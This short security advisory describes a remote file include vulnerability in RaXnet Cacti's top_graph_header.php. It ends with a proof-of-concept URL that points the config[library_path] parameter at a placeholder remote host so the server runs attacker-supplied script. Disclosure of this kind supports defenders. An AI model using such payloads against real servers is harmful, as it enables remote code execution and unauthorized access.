source: https://www.securityfocus.com/bid/14030/info

RaXnet Cacti is prone to a remote file include vulnerability.

The problem presents itself specifically when an attacker passes the location of a remote attacker-specified script through the 'top_graph_header.php' script.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/path_of_cacti/include/top_graph_header.php?config[library_path]=http://www.exmpale2.com/